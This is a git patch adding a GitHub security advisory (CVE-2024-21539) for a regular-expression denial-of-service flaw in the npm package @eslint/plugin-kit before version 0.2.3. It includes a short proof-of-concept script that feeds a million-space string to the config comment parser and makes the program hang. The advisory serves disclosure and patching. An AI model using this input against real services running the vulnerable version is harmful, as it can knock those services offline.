From 5db670254fe95be22e0f633a58543a6265afee85 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Fri, 15 Nov 2024 20:48:59 +0000 Subject: [PATCH] Publish GHSA-7q7g-4xm8-89cq --- .../GHSA-7q7g-4xm8-89cq.json | 58 +++++++++++++++++++ 1 file changed, 58 insertions(+) create mode 100644 advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json diff --git a/advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json b/advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json new file mode 100644 index 00000000000..f7fc1d8d3a7 --- /dev/null +++ b/advisories/github-reviewed/2024/11/GHSA-7q7g-4xm8-89cq/GHSA-7q7g-4xm8-89cq.json @@ -0,0 +1,58 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7q7g-4xm8-89cq", + "modified": "2024-11-15T20:47:31Z", + "published": "2024-11-15T20:47:31Z", + "aliases": [ + "CVE-2024-21539" + ], + "summary": "Regular Expression Denial of Service (ReDoS) in @eslint/plugin-kit", + "details": "Crafting a very large and well crafted string can increase the CPU usage and crash the program.\n\n## POC\n\n```js\nconst { ConfigCommentParser } = require(\"@eslint/plugin-kit\");\n\nvar str = \"\";\nfor (var i = 0; i < 1000000; i++) {\n str += \" \";\n}\nstr += \"A\";\n\nconsole.log(\"start\")\nvar parser = new ConfigCommentParser();\nconsole.log(parser.parseStringConfig(str, \"\"));\nconsole.log(\"end\")\n\n// run `npm i @eslint/plugin-kit` and `node attack.js` \n// then the program will stuck forever with high CPU usage\n```", + "severity": [ + + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "@eslint/plugin-kit" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.2.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/eslint/rewrite/security/advisories/GHSA-7q7g-4xm8-89cq" + }, + { + "type": "WEB", + "url": "https://github.com/eslint/rewrite/commit/071be842f0bd58de4863cdf2ab86d60f49912abf" + }, + { + "type": "PACKAGE", + "url": "https://github.com/eslint/rewrite" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1333" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-11-15T20:47:31Z", + "nvd_published_at": null + } +} \ No newline at end of file